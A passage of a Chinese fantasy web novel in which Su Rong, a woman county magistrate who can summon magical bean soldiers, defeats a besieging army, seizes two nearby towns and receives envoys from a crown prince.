那谁谁打架、谁谁偷盗,谁谁私通。狗屁倒灶的破案,她早想丢给他人了!奈何新任主簿典史还没培养出来。
当务之急,得先守卫城池。
冬梅眸中异彩连连,被她说得心动。她真的也有大姐那么威风的一天?
等苏蓉抱着小兰睡觉去了,她独自心潮澎湃。半夜辗转反侧难以入眠,才醒悟不是她劝说苏蓉,而是苏蓉把她忽悠得找不到北!
不过,那饼画得又圆又大,让人忍不住真想吃啊……
安抚好大后方,苏蓉继续坐镇县衙,积极在陈明喜的帮助下招揽各方势力,筹备军事物资,应对即将来临的战争。
不管是三皇子,还是二皇子、四皇子,甚至乌蛮人,安卫城迟早要面对。
陈明喜等人暗戳戳怀揣雄心壮志,一意追随苏蓉在乱世中浑水摸鱼。殊不知苏蓉考虑的未来,更长远。
水沛城接到使者尸体的刘知府,气疯了。
当天遣出驻军所的中郎将左正成,率五千府兵,加上附近庐城、斐县两城兵力,整合出近九千的人马,浩浩荡荡朝安卫城开来!
圈地为王的女县令绝不会放过,安卫城的军民也打算血洗一番。
敢支持名不正言不顺的苏蓉,就是跟他作对,跟新帝作对!
纵然是乱世,也容不得一个女人嚣张!
安卫城的间谍,迅速往安卫城传回消息。
秦津赶快再派流星探马,打探左正成军队动向。务必要掌握最精准的情报,在苏大人面前展示能力。
他知道苏蓉不怎么信任自己。陈家兄弟才是苏蓉依重的心腹。
他一个普通人,没有背景资源,没有聪明头脑,想要在新主子跟前站稳脚跟,只能勤勤恳恳、踏踏实实做事。
他相信只要自己努力不懈,苏大人一定能给予他应得回报。
毕竟这位苏大人,除了杀人手段雷霆,真没什么私心。这让司空见惯官场黑暗的他,萌生出希望。
或许,这混乱世道真能迎来一位明主……
陈家兄弟不也是那么想的吗?
他可以不相信有钱人的良知,但一定得相信有钱人的眼光!
苏蓉拿着秦津亲手呈交来的谍报,忍不住赞许这位便宜属下一句。
“干得好!”
秦津的人,竟然将敌军主帅副将姓名,军马多少,沿途驻扎位置,甚至那位左中郎将的性情家世,都一一详细打探出来了!
随手饶过不死的小人物,竟然有做情报巨头的潜力。
不过,面上不显,她心里实际隐隐有着慌张。
九千官兵,武力值据说很高的左中郎将。她目前仅能同时召唤三十名豆兵,这……
真有胜算吗?
三十对九千!
第148章 兵临城下
最关键的是,她对行军打仗之事,一窍不通!
头皮发麻。
到了这当儿,不能说后退,硬着头皮也要把自家铺开的摊子守好。
她立即让人去找陈明喜兄弟、秦津、柯澜等人回衙门。
就算是谭敖、叶浩锐,包括时常赞赏两个小孩聪明的几位县学官,以及各路坊正也叫上。
集思广益,迎接安卫城的第一次大挑战。
陈明喜出乎意料沉着,安慰众人有些慌乱的情绪:“诸位莫慌。自从大人减免税赋清明吏治后,深得民心,踊跃投军者不知凡几。”
“别的不说,大家的家安在这里。为自己家人,也会义无反顾将入侵者赶出去!”
他们敢于支持苏蓉走马上任,就是预知这一天,势必会迎来诸侯势力的迎头痛击。这年头,富贵险中求。
想要家族兴旺,单开一页族谱,不亡命怎么行?
众人对视一眼,包括十几位县学官坊正,心头了然。
陈明欢代表陈家和联盟的一批大户,慨然道:“苏大人,我族中长老,还有城中大部分富户,愿意站在您这边。有钱出钱,没钱出力!”
资历最老的坊正拄拐杖,颤巍巍上前一步。
“大人,我们街坊会组织青壮,帮忙守城。妇女们帮忙做饭送饭,搞好军队后勤!”
县学教谕不紧不慢,捻着自家三缕清须。
“苏大人,县学百名学子,我们已挑选十来名佼佼者。可以送入衙门,帮助大人处理公文账册,调度诸事。”
“这些学生皆是熟读经史,善算术之人,热血勤勉。若是大人觉得可用,将来也能安排在身边供差遣。”
听了这话,其他人不由得心头唾弃这老教谕。果然读书人大大狡猾,这就开始为自己弟子仕途铺路了!
衙门若任用县学学子做胥吏多了,还有他们族中男丁什么事?
瞄准苏大人的前途,都一心往边上靠。
苏蓉没察觉出一堆手下各怀心事,挺感动地说了声。
“好!”
“有诸位鼎力支持,让我们齐心合力将来犯者击退!安卫城是我们的家园,不能交到有恶意的外人手中!”
议事大厅气氛和谐,同舟共济的众人,爆发出前所未有的合作态度。很快,每人的责任地段划分出来。
苏蓉从善如流,听了老坊正推荐,破格提拔一名常年在街头扛包为生的苦力齐谷,据说力大如牛。
最关键的,他是城中所有挑夫的首领,受人尊重。
因为性情耿直,年轻时得罪过叶县令的前任,差点被整死。叶县令上任后彻查旧案,将他和他儿子从牢里释放出来。
齐力父子跟随老坊正来到县衙,拜见苏蓉。
苏蓉打量此人,发现对方生得天庭饱满,五官若刀削斧砍般利落,身材高大,一脸络腮胡,挺有虬髯客的江湖豪侠意味。
其子也是五官端正,凌然正气。
了解一番,原来齐力不止一个儿子。跟来这个是老大齐和安。家中还有老二齐和平、老三齐和顺,老四齐和谷。
齐和谷尚小,齐和顺是镖师目前不在家。齐和平应征入伍,驻守边陲。如今边关被乌蛮人攻破,杳无音信,想来凶多吉少。
而且父子几人都是有点武艺傍身,加上人品老坊正欣赏,故而举荐齐家。
苏蓉正是用人之际,问齐力父子愿不愿意在驻军所或衙门任职。
齐和安跃跃欲试。
他武艺不如三弟齐和顺好,却也想瞅机会建功立业。何况就在自己家门口任职,保家卫城有什么不乐意的。
立即抢在父亲前面,表示愿意效力。
齐力知道苏蓉救了叶县令的小公子,心存感激。不仅同意长子投军,还表示愿意鼎力协助守城。
城中数百名挑夫、车马,免费为守军输送后方物资。
苏蓉自然不可能让他们免费。免费一次性的;而齐力若愿意优惠点,合作可以是长期的。
双方商议日后如何合作后,皆大欢喜。苏蓉唤来陈明喜,让他将齐和安安排在驻军所。
之前安卫城内乱,驻军所和衙门空出不少职位。陈明喜考较齐和安武艺后觉得尚可,安排在手下做了一名屯长。
接下来需要强化训练,等机会立下军功,步步高升。
秦津的探子,不时传递回消息,告诉苏蓉左中郎将的军队,行进到何处。
苏蓉预先派人通知安卫城周边村庄的乡民,携带细软进城或者躲进山中,以防兵灾祸害。
就是稍微有点影响春耕。不过在苏蓉大力减免税赋的情况下,影响不大。若仍然不听劝阻非要留在村里,被敌军骚扰到,苏蓉不打算管。
她做不到面面俱到,更讨厌愚昧无知不听劝的人。
她只能保护绝大多数的人利益不受损。
左正成的军队,十天后推进到安卫城外三十里的地方。根据探子回报,敌军在高处扎营。似乎准备稍事休整,再一鼓作气攻城。
县衙大堂,一堆人因此吵翻天。
苏蓉……
她还没尝到黄袍加身的滋味,先体手下文武互相攻讦的感觉!
以老教谕为首的县学官一派大胆献策:“苏大人,趁云州军队远道而来,立足未稳,我们杀他个措手不及吧!”
“今夜去劫营!”
“不然!应该绕到他们后方,先断他们粮草!”
“对!”
陈明喜说不过这群之乎者也、引经据典、口齿伶俐的家伙,跳着脚毛了。
“对、对个屁呀!左正城不是那种纸上谈兵的统帅,他是真正上过战场,而且鲜少有败绩的将领。”
“什么劫营断粮草的?人家近万兵马,后方辎重一定是严密保护,走哪条道我们并不清楚。说不定敌人军营今夜还给我们唱空城计……”
“城中人马满打满算不过三千,拿什么去劫?而且,我们有探马,敌人没有?”
“说不定我们一派兵出城,守在城外的云州细作,早跑去告知左正成了!”
老教谕一干人被怼得直翻白眼。
“那依你之见,我们就困守孤城,等对方来攻城了?”
这一点陈明喜也不知如何是好。
大家面面相觑,然后眼睁睁看向苏蓉,等她示下。
第149章 绝不认怂
苏蓉想了想,欲开口。一声“报”,城头守兵送来一封箭书。
说是敌军趁夜色射上城楼的。而且相同箭书不止一封,被许多守城兵捡到。
苏蓉打开一看,内容大意不外乎劝降。而且诱导城中守军杀掉女县令,献城归降,到时自然加官进爵。否则城破后不分老弱妇孺,一概屠戮!
她直接转手拿给陈明喜等人看,同时不动声色,观察看信后每个人脸上的细微表情。
陈明喜义愤填膺,把信纸重重拍到下个人手里,怒道:“这个左正成,夜半送箭书真毒呀!不止想分化我们军民,还用屠城相威胁!”
“没错!”
老教谕也看出这点:“大家千万别上当。”
他们已经站在苏蓉这条船上,若是安卫城失守,日后清算谁也跑不掉。故而,左正成的挑拨,起不了多少作用。
当然,不排除小部分人心里打退堂鼓。
苏蓉拍拍桌子,示意大家安静,开口。
“敌人送信,约莫想先混乱我们军心,然后攻城。大家赶快回到自己岗位上去,按我们事先安排的,各司其职准备好防御。”
“非常时期,城中戒严。各位坊正,请管辖好自己下属民众。除了帮忙传递后方辎重的人员,其余闲杂人等,一律不得走出家门,违者格杀勿论!”
转向老教谕,目光在几个些许惶惑不安的学子身上停留,加重语气。
“不愿参与守城的,现在可以各自返家,不强求大家与我苏蓉一条道走到黑!”
众人彼此看看,行礼告退。
等人走得差不多,苏蓉单留下陈明喜几人。
“记录下此次退缩人员的名单,以后永不录用!”
这些人是墙头草,风吹两边倒。用他们,她还担心自己日后被背刺。
陈明喜点头,没有外人才表露出一脸担忧。
“苏大人,此次敌军来势汹汹,城中守兵大多数是新招募的,空有热血,训练不足,怕是没什么大用。”
之前大庭广众他不敢明言,怕说了让某些本就害怕的人,越发摇摆不定生出异心。
秦津算是了解主将,在旁帮忙说话。
“苏大人,属下也认为陈督尉的话有道理。这批新兵还不是派上战场的时候。这些来向您投效的人,也不可尽信!”
对方一封箭书,已让某些人态度初见端倪。
“我心中有数。”
苏蓉点头,淡淡一笑:“你们只管看守好四门,别放细作入城。云州人马,我来应付。”
只要左正成不能率兵一举攻下城池,她的甲兵可以慢慢消耗对方兵力。
最重要的是,她的金手指会升级。而对方损耗兵力不能短时间内得到补充,只会越打越少。
大家之所以有莫大勇气和信心,正因见识过苏蓉私兵的威力。
谭敖自从苏蓉接管衙门,就进入县学学习,从此和叶浩锐做了同学。
两人有相似命运,年龄又相差不大,惺惺相惜很快成了朋友。此刻迎着苏蓉目光,谭敖毫不犹豫。
“大姐,你放心!在县学,我和锐弟一定替你盯紧县学那些人,不给你添乱。”
书读多了,难免想得多。而且这些县学学生,大都冲着科举去,颇有雄心壮志。他们想建功立业,却未必想在一个女人手下做事。
故而,苏蓉担心守城之际,大后方作乱。
文人的笔和头脑,可比武人更难以应付。
苏蓉摸摸谭敖的头,欣慰同时,又挺遗憾。
就是这孩子太小了!再聪慧也不能挑大梁为她分忧。不过未来可期,是件幸事。
让大家抓紧时间去休息,明日即将有场硬战要打。
辰时,刚吃完饭的苏蓉听到一阵雷鸣般的声音,侧耳倾听,发声地来自城外。战鼓轰轰,伴随千军万马呐喊。
那动静是极其声势赫人的,处在县署內宅,都感觉房盖子要被掀翻。
“来了!”
苏蓉把碗筷一推,立即穿上天蚕宝甲,招呼听荷听雨来给自己穿戴打扮。就换上昨日登堂的装束,一身华丽,走出大门。
随手掷下一小把豆子,三十名甲兵包含三名白甲神兵,如同地底忽然冒出,黄灿灿一片簇拥在她身周。
不仅听荷听雨吓了一跳,匆匆带着人跑来衙门的陈明喜等人也吓了一跳,忙把踏进门的一只脚紧急收回去。
暗想苏大人豢养的这批私兵,平日到底养在何处?
来无影去无踪,神龙见首不见尾,简直堪称鬼魅!
一名甲兵已是猛不可挡,三十名铁塔壮汉齐出,像是三十根擎天柱矗立苏蓉左右,那等泰山压顶的威势,叫人多看一眼不敢抬头。
陈明喜急忙双手抱拳,躬身施礼。
“大人,左正成挥兵杀到城下了!南门、北门、东门,都有云洲军团团包围。攻城前夕,他点名要见您?”
苏蓉正愁擒贼如何先擒王,闻言大喜:“左正成在哪个门?”
“东门。”
“好,我们去东门!”
苏蓉立即带领众人,出衙门登车,驶向东城。
三十名甲兵步伐一致,速度奇快,跟在马车后丝毫不落咫尺距离。令纵马追随的陈明喜几人,心里啧啧称奇。
暗想自家如果能雇佣到如此奇士,哪怕一两位,乱世中也是超有保障啊!
就不知苏大人如何笼络到这些奇士的?
有人曾私下与这些甲兵勾搭。但甲兵仿佛耳聋口哑,任人开出天价好处,一律对之不睬不理。
这份忠诚心,当真难得。
在一众簇拥下,成千上万道各怀不明意味的目光注视下,苏蓉登上城楼。
说实在,这么高地方,往下一看是蚁聚的敌军,无数杆旌旗招展。战鼓隆隆,那震耳欲聋的声音,欲敲进人灵魂深处。
仿佛来自九幽的恶灵,张开大嘴,要将一城军民吸入深渊。
就算是冷兵器时代,没有顷刻间定胜负的高科技,也觉心惊胆寒。
苏蓉竭力绷紧脸,藏在袖中的手握成拳。
绝不能在人前认怂。
她是穿越女,天赐金手指!
这都不能改变这个乌烟瘴气的时代,她来这里做什么?
瞥眼身边的陈明喜。
陈明喜会意,立马派驻军所一名大嗓门士兵,趴在城墙下往下喊话。说女县令已到城头,问左中郎将有何话说?
对方同样是个大嗓门,喊出来的话,声音清晰,让城头守军都能听见。
“我们大人有好生之德,不忍生灵涂炭……女县令若肯自缚双手,开城请降,可从轻发落尔等谋逆之罪!”
第150章 神兵发威
苏蓉厌蠢。
都不敢明言承诺他们既往不咎,还敢用这种骗小孩子的话术,哄她开城投降?
已经兵临城下,以为她是女子,吓吓就怕。
她示意就近一名士兵,递上弓箭。弯弓搭箭,瞄准城楼下那个正喊话嚣张陶醉的敌人信使。
常去山中打猎,虽然主力是豆子兵,她好歹也跟着练习了许久箭术。城楼到城下距离有些远,吓吓对方没问题。
只听“嗖”的一声,箭支带着风响掉落信使马前。信使仰着脖子睁着眼睛,正看见这一箭轻飘飘下来,吓了一跳,又是不免鄙夷。
这射的什么箭,吓小孩子的吧?
安卫城守军若是这种程度的武力,倒是叫人放心不少。不过,这一箭也代表安卫城誓死不屈的态度。
信使不再喊话,兜转马头跑回自己阵营,要去向主将报告此事。
“看见对面正中的帅旗没有?”
苏蓉手指敌阵,回头望向肃立在身后的三十名甲兵。用城头大多数守军能听见的清脆声音,大声道。
“尽你们之力,杀掉所有来犯安卫城的敌军!”
“无需留情,杀——”
陈明喜等人皆是一呆。
不是,这就直接杀了?
意思他们也要跟着一起杀出城去吗?要不要留部分人马守城呢?其他两道城门外还有敌军呢?
哎呦,城门还没开……
陈明喜以为苏蓉是第一次指挥作战,手忙脚乱露了怯。连忙迈开步子想下城楼,先调兵随三十名甲兵齐出掩护。
却不料他脚步方起,脑后风声大作。
三十名甲兵,瞬息间化作三十道金光,流星般跃起,翻越过城头,直坠城下。随即身法不停,快如闪电,猛射向黑压压的敌阵!
在场所有目睹的人,全部惊得呆若木鸡。
摸摸冰凉粗糙的城墙,这可是十几丈高的城墙啊!
普通人跳下去,不当场摔成肉饼也会立马去见阎王。这些甲兵,跳下去浑若无事,还能继续冲锋陷阵?
他们一直以为自己在高估苏蓉这批手下的实力。没想到,最后还是低估……
陈明喜眼中迸射出火热光芒。
就是这样的实力!
因为知道苏大人实力远不止此,他才努力说服家族,拿出大部分资源追随一个女人。
有这样的力量,何愁大事不成?
远望甲兵在敌阵中肆虐冲杀,所到之处,如入无人之境,哀嚎声响彻云霄。
他压抑住内心的激动。
这,就是他一直所想要看到的!
苏蓉顾不得周遭异样的眼光,全神贯注感受与甲兵的羁绊。当一名甲兵最终承受不住重重包围,被刀枪扎成蜂窝倒地时,她迅速丢出一粒豆子。
新刷出来的甲兵,勇猛无畏,继续冲击敌阵。
任左正成厉声喝令摆阵,无济于事。甲兵似天神下凡,东突西杀,将一众蝼蚁拖入血腥炼狱。
金属般铿锵有力的声音,持续在苏蓉耳中响起。
“恭喜,金手指升级!”
“当前撒豆成兵,能同时召唤三十五人,每天三次,一次两个时辰……”
“恭喜!”
“当前撒豆成兵,能同时召唤五十人……”
“当前能召唤七十……”
“八十……”
“一百!”
“恭喜!一百名铜甲神兵,概率刷新十名白甲神兵、一名金甲神兵……”
苏蓉俯视城下血流成河,尸横遍野,唇角抑制不住地上扬。
还有什么,比刷战场升级金手指,更激动人心的事!
给她时间,她能召唤千军,拥有一支横扫天下的无敌部队,改变世界格局。
随着时间推移,云州军队惊恐地发现,这些鬼魅般冒出的甲兵,杀不绝!
死了能悄无声息再生,而且越杀越多。
一开始只能在滚滚铁流中看见星星点点的黄,陷入己方重重包围。而随着对方势不可挡冲杀,似乎有分身法,加入战局的甲兵越来越多。
更令人绝望地是,这些甲兵没有最强,只有更强!
一名铜甲兵少说要花百人之力捕杀;伴随白甲兵横空出世,所到之处人仰马翻,直逼中军。
最终金甲兵如天神下凡!一柄几百斤重的擂鼓瓮金锤,挥舞起来仿佛令人直面地狱。众多云州军士,像是飓风中的蝼蚁,被碾为齑粉。
幸存的人彻底绷不住了,不顾压阵军官后方连连叱喝,撒丫子四散溃退。
但凡逃慢点的,被卷入战场,必死无疑。
“那是什么鬼东西!”
左正成眼珠子差点瞪脱眶,怀疑人生。他也算是驰骋疆场十数年的武将,从没遭遇过如此强敌。
对方任意一名铜甲兵的武力,达到骇人听闻的高度。有这种人,早该成长为天下知名的武将了。怎么可能还是区区一名普通士兵?
更可怕的,这样的士兵不止一名,还是多名、很多名……
大靖国土,埋没如此多猛将之材?
左正城目眦欲裂,看着一名金甲兵踩着滚滚人头,浑身血腥气扑到跟前。
恐惧如同无形荆棘藤蔓,紧紧缠住他四肢。
“拦住他!”
他歇斯底里嘶吼:“拦住他……”
拨转马头,欲待不管不顾逃跑。但来不及了,金甲兵手起锤落,将这位威风不到一天的左中郎将,连人带马锤为肉泥!
金锤威势不减,连带左右亲兵,也击飞数名落马。
云州军魂飞胆散,丢下帅旗,只恨爹妈少生两条腿,不能第一时间逃离甲兵肆虐范围。
城楼上苏蓉回头,奇怪地看向一众呆若木鸡的下属。
“大局已定。你们不该趁势杀出去,痛打落水狗吗?”
陈明喜嘴唇翕合,几次才从喉咙里挤出声音:“大、大人,南门北门还有敌人……”
苏蓉手一招,战场追杀云州溃兵的甲兵,兵分两路,旋风般杀向两道城门。
见此,陈明喜勇气大增。迈步跑下城楼,振臂疾呼。
“兄弟们,随我来——打开三门杀出去,建功立业、保家卫城就在此时!”
在城楼上亲眼看着甲兵大杀四方,之前还威风不可一世的云州军落花流水,众人早已热血沸腾。
立时一呼百应,大家纷纷拿起武器跟随陈明喜冲出城。
哪怕甲兵开路已把敌人杀散杀绝没他们什么事了,逮几只跑慢的落单敌兵猛薅,收刮战利品,也很有参与感成就感的不是?
痛打落水狗,他们擅长!
第151章 一战成名
云州军来势汹汹,苏蓉不到半天时间便歼灭来犯之敌。剩下是打扫战场,掩埋尸首。找到左正成被碾爆的首级,悬挂城门示众。
此次一战,苏蓉声名如日中天。
别说安卫城军民,连各方势力诸侯,也听说这位手握奇兵的女县令。
当然,除了亲眼见证,大多数人还是觉得传闻不可信,言过其实。
苏蓉不管别人怎么说,计点战果,这次云州方面派出的军队,折损大半。
杀敌八千,缴获战马武器七千余套、粮草三千石、银六千来两。
所谓以战养战,这种送上门的财富,让苏蓉衙门库房又充裕不少。
为庆祝初战告捷,苏蓉摆几大桌宴席,款待安卫城的各阶层首领。
虽说这些人没派上用场,好歹是宣誓效忠自己的手下,同甘共苦,好处要给的。豆兵只能帮她打天下,不能帮她治理天下。
安卫城要想流畅运转下去,得靠大家齐心协力。
苏蓉不善饮酒,自己一个女人,夹在全是男性的场合多少有点不自在。酒过三巡,便借口体力不支撤退,让陈明喜陪众人继续庆祝。
听荷听雨搀着她回房。对于这位强大的主子无比敬仰,忙乱打了水,煨了醒酒汤,服侍主子准备歇下。
苏蓉刚要上床,外面传来人声。
“大人,小人有事禀报?”
听那声音似乎是窦云。苏蓉奇怪,忙扶着听荷听雨的手出去。一看,果然是他,不免惊奇。
“窦云,你不在家看门,来这里做什么?难不成家里出了什么事……”
她忙喊人备车马,要回家去看看。
窦云急忙拦住她:“主子,家里一切安好。是小人来此,有件紧要的事想告诉主子?”
苏蓉松一口气同时,又觉得奇怪。窦云这还是第一次主动找她说话。见对方欲言又止,她会意让听荷听雨先退出去。
四顾无人,窦云方才弯腰轻声开口。
“主子,庐城斐县出兵支援岽州,如今吃了大败仗,正是人心不稳大伤元气之时,我们为何不趁势追击?莫要等他们缓过神来,再打我们!”
“你的意思,我应该趁机扩张势力夺取地盘?”
苏蓉闻言,细细一品,顿时领悟过来,看着对方:“窦云,你到底是什么人?”
窦云抬起双手,在自家脸上一阵揉搓。很快,一张薄如蝉翼、不知什么材质制作的皮面具脱落下来,露出一张斯文俊俏、不失英气的脸。
“大人,我本姓甄,玉州贡城人氏,原是举人之身,准备参加春闱会试。”
他恭敬下跪施礼。
“但是,三皇子的人把持朝政,官场黑暗。我无意间得罪权臣,被害得家破人亡。幸得高人赠我面具易容,才一路逃亡至此,被钟牙婆收留。”
他应该感激钟牙婆的,偏偏钟牙婆嫌弃他白吃饭,三百文钱将他卖了……
苏蓉没有轻贱他。尽管他显得又老又没用的样子,依旧待他如常人,让他当门房,在家颐养天年。
这份善举,令他千疮百孔的心日渐治愈。看着苏蓉一步步走上危险道路,想着苏蓉的实力,不免动了心思。
寒窗苦读数十年,不就指望一朝得遇明主,发光发热吗?
他没机会走正常科举路。世道如此浑浊,说不定众多有识之士一心追求的梦想,就寄望于苏蓉实现?
于是,狠心来见苏蓉。
献策、坦然以对,是他献给苏蓉的忠诚和投名状!
苏蓉扶起甄云,打量对方一会。
“你了解现在大靖混乱的局势吗?如果我偏安一隅呆在安卫城,诸势力以为我小打小闹,只是一方恶霸。”
“但若出兵占据斐县、庐城,我就是明晃晃揭竿起义,告知所有人,我要与他们争天下!”
“大人,您现在自封县令,在他们眼中是乱民反贼。但当你夺下周边城池成就气候,他们只会高看你一眼,把您放在谈判桌面上,平等磋商。”
届时无论苏蓉想战想和,手里有足够砝码,才能让对手重视,不轻举妄动。
否则,下次来进攻安卫城的,不止云州这点兵力了。
尊重靠自己力量获取,无法指望他人施舍。
苏蓉听他慢慢分析,觉得有道理。试探问道:“甄云,那你了解庐城、斐县多少?”
对此,甄云早有准备,拿出一本厚厚册子。展开来里面是手绘地形图,详尽标注各地城池、哨卡、驻军情况。
“大人,为避仇家,我流浪过许多地方,了解大靖诸多城镇情况。只需大人派给我一千兵马,三天之内,我必夺取斐县献给大人!”
至于庐城,排在斐县之后收拾,他毕竟只有一个人,分身乏术。
苏蓉沉默片刻:“要打,庐城斐县一起收拾,还有云州主城水沛。你等等,我叫人来一起好好商议。”
甄云欣慰。
他不怕主子野心大。相反,他怕主子没野心。那他再努力,扶不起自己不想起的阿斗。
不一会儿,听荷将喝得有三分醉意的陈明喜、秦津两人带进来。
见苏蓉房中多出一位从没见过的年轻男子,两人先是一怔,随即向苏蓉施礼。
“这位是甄云。”
苏蓉简单介绍,随即让三人入座,商讨发兵之事。
一听要即刻攻打斐县、庐城,两人酒醒了。
陈明喜很是赞同这提议,夸赞:“大人真是深谋远虑!趁现在云州兵败逃,敌城空虚,正合该我们乘胜追击。”
大伙儿追随苏蓉,不就为这暗戳戳争天下的野心吗?苏蓉不用人诱导,自己想到这一点,可喜可贺。
苏蓉微窘。
“这建议是甄云给的。现在找你们来,商议如何分兵。”
秦津诚心诚意恭维:“大人,有您手下的神兵在,莫说斐县庐城,就算整个云州,咱们拿下来也是轻而易举!”
今日一战,不止苏蓉大大扬威。内心摇摆不定的人,也从此对女县令焊死忠心。
当然,苏蓉不需要他们嘴上表恭维。
很快,三人商量后达成一致,对苏蓉表示:目前城内有三千来兵马,陈明喜和甄云愿意各领一千人马,去收拾庐城斐县。
对方吃了大败仗,目前兵力可能连五百也凑不出来,正好趁他病,要他命,逼两城县令投降。
苏蓉担心两人有失,给每人派三十名甲兵。就一条死命令,保护这两支部队安全。能最大程度、合理化利用甲兵只执行一个命令的BUG。
至于两人要用什么手段拿下两座城镇,她正好瞧瞧两人能力。
第152章 摘桃子
有了甲兵助阵,两人觉得如虎添翼。即刻点起兵马,连夜分头行动。秦津作为军侯,在后方传递消息,将最新情报汇报给苏蓉。
苏蓉坐镇安卫城,维系与甲兵的联系,务求不出一丝差错。
毕竟她甲兵只有四个时辰现身时间,需要掐着点将之刷新。
次日凌晨开始,探马一波波回报消息:
“报——大人!陈督尉率兵逼近庐城,于二十里地外扎营。”
“报!”
“甄大人部队马蹄裹草,换上云州官兵服饰,打着云州旗号,叫开斐县城门进城。”
苏蓉悚然一惊。
这个甄云,一介书生真是好生大胆?
幸亏她派出的甲兵,能绝对保障己方人马安全。
接下来,秦津送回的全是好消息。
甄云直奔县衙,趁夜色袭击县衙和当地驻军所,以最小代价:受伤十数名新兵,杀了县令及为首将领,控制斐县。
而庐城县令,已被逃回士兵描述的情形吓破胆。
回过神听说**喜兵临城下,盘点自己衙门零星数十老弱病残,二话不说,打开城门跪献降表。
苏蓉了解庐城县令这个人,为官尚算清廉,除了胆小点没啥大毛病。便让其继续坐镇庐城,只是庐城驻军,要在己方控制下。
而斐县这边,想让甄云就任县令,以他的才干,足以胜任。
但甄云毫不犹豫拒绝,表示要回到她身边,继续辅佐她扩张势力。
苏蓉便让县学举办一次三城文人考较,将第一名送去斐县当县令,第二名任主簿。至于两城县尉等武官,由**喜主持选拔。
这种选拔方式,不分职位高低身份贵贱,觉得自己有能耐,皆可报名参加。老百姓也能旁观投票,众目睽睽下拔得头筹者,立即走马上任。
公平公正,令人耳目一新,深受军民欢迎。
或许随着时间推移,这种选拔方式会被人暗箱操作,但至少现在,无比清明。
齐和顺就是在这种情况,放弃走镖回到家中,因武力当选庐城督尉。兴奋得他一家老小,呲着牙花子傻乐半个月。
苏蓉积极治理新扩张的地盘,筹备对云州水沛城发起进攻。她在**喜和甄云一唱一和极力怂恿支持下,下决心打出一片天地。
而就在此刻,意想不到的来使,将她从狂热状态刺激冷静下来。
叶清辞。
陪同柏州太子景渊派出的使者,来到安卫城。与之同行的,还有燕彬、傅振。
说真的,自从掌控安卫城,苏蓉就预感到与叶清辞有再见之时。只是,现实与她意料有些出入。
使者是太子亲信贺子民,而叶清辞仅担当副使,燕彬傅振作为护卫。
如此看,叶清辞抛弃一切追随太子,并没得到重用。
他会被派来安卫城,极可能因为太子知道两人关系,想要叶清辞从中斡旋,才获得这次出使机会?
那么她交出手中地盘,对自己对手下人对老百姓,有什么好处?甚至叶清辞不太可能坐镇安卫城!
窦云明显对皇家人一律敌视,轻哼道:“大人呕心沥血,辛苦打下来三座城镇,他们便迫不及待来摘桃子!”
**喜等人面色同样不好看。他们有着远大志向,现在好不容易辅佐苏蓉,将安卫城发展起来。一旦变天,柏州方面会派什么人来治理?
糟蹋他们心血尚是其次。搞不好,秋后算账。罗列他们**罪名,他们和他们身后家族,都会遭殃。
苏大人难道有向他人俯首称臣的意思?
什么太子皇子,有苏大人这般好说话?而且,苏大人实力明明可以席卷天下,为什么一定要将到手地盘让出去?
本身是女子,没有雄心壮志吗?
他们内心焦灼不安,不便明言。而柏州使者又等在城外,不能不见。
想了想,苏蓉让**喜和甄云两人,代表自己将柏州使者团迎进安卫城。
不管怎么说,太子素有贤名,这没死又在柏州举旗,笼络天下人。最重要的他是叶清辞主子,自己不看僧面也要看佛面。
贺子民一行,在城门外等了半晌,没见所谓女县令率众开城门迎接,脸黑成煤炭,对身旁的叶清辞发牢骚。
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“这女县令,真是叶大人你认识的那位?看样子她不仅没把太子殿下放眼里,连叶大人你也不在意的嘛!”
叶清辞瘦了许多,眉眼带着挥之不去的倦意。
跟随太子后,他每日处理堆积如山的公文,多是后勤方面繁琐小事。领了五品同知虚衔,做的实际是主簿工作。
殿下身边幕僚如云,他被排挤在圈外。连燕彬也能护卫殿下左右,而他只能徘徊权利中心外。
傅振更不用说了,在他身边,完全是个跑腿的,闲着没事干。
安卫城发生这么大的事,殿下不把他找去,他根本不知道。
堂叔身陨,苏娘子上位。不仅自封县令,还打下斐县、庐城两座城……
这些信息,咋来得如此梦幻?
一路赶来安卫城,他至今晕晕乎乎,觉得在做梦。
一定是哪里搞错了!苏娘子温和柔弱,自保尚难,怎么会突然揭竿而起,卷入诸侯相争的局面?
就算是,那也多半是因为堂叔出事,苏娘子为求自保,被什么人怂恿,不得已卷入这场纷争。
此事可大可小。
想到多日不见的太子,临行前对他语重心长,告诫他要好好协助贺子民,劝说女县令和平献出三座城镇,自己会既往不咎。
他表示尽力完成使命的同时,内心深处的那点迷茫,越发扩大。
隐约感觉,死而逃生的殿下,似乎与从前不一样了。
对方明显不太信任他,将他排斥在权力中心外。他千里奔袭,抛弃宜阳县毅然投奔柏州,在殿下幕僚的圈子,似乎成了一场笑话。
还有人讽刺他,说他根本不是真正忠诚于殿下。否则,为何不将宜阳县作为投名状,献给殿下?
燕彬一定汇报过苏娘子的事。
殿下有意无意,提起昭宁公主忌日快到了。
叶清辞紧抿双唇。
贺子民阴阳怪气的嘲弄,没放在心上。他现在全心全意,只想着一个人。
苏娘子。
他们又能相见了?
内心压抑日久的情绪,突然翻腾起来,汹涌猛烈。
第153章 再相见
城门打开,吊桥放下。一队精神抖擞的军士全副披挂,簇拥两名官员模样的人出城。
打量一眼,发现这两人皆是年轻英武。尤其落后一步的男子,风度翩翩相貌儒雅,不比当年的探花郎叶清辞差。
尤其现在叶清辞灰头土脸,更是没法比。
想到这两人是苏蓉手下,不知为何,叶清辞心里有淡淡不爽的情绪。
比起他简单所思,贺子民是溢于言表的不满。
“你们二人是谁?女县令为何不亲自出迎?”
自家一行,可是从柏州远道而来,名正言顺的储君派遣。如今京城那个,是个假货、逆贼!难不成小小安卫城,还敢有别的心思?
甄云冷淡脸色,扫视贺子民一行,在叶清辞身上停留一息,淡然移开视线。
名动京城的探花郎,他自然听闻,也远远见识过。
只是他没有对方好运,也没有对方家世背景强大,落了个家破人亡。但论学识,他自视甚高,不比对方差。
**喜异常沉着,不理会贺子民的挑衅,只在马背上略一拱手。
“我家大人有请使者入城,知道各位远道而来,特派我二人代迎!”
“在下驻军所督尉**喜,这位是县衙主簿甄云。”
现在世道混乱,诸势力割据,官员体系基本乱了套。贺子民心知肚明对方是女县令一手提拔起来,名不正言不顺。
但想到此番出使意义重大。太子殿下殷殷嘱托,要将三座城镇兵不血刃揽归己方。他自然不愿在枝末细节计较,坏主子大事。
于是哂笑一声,掩饰住不屑。
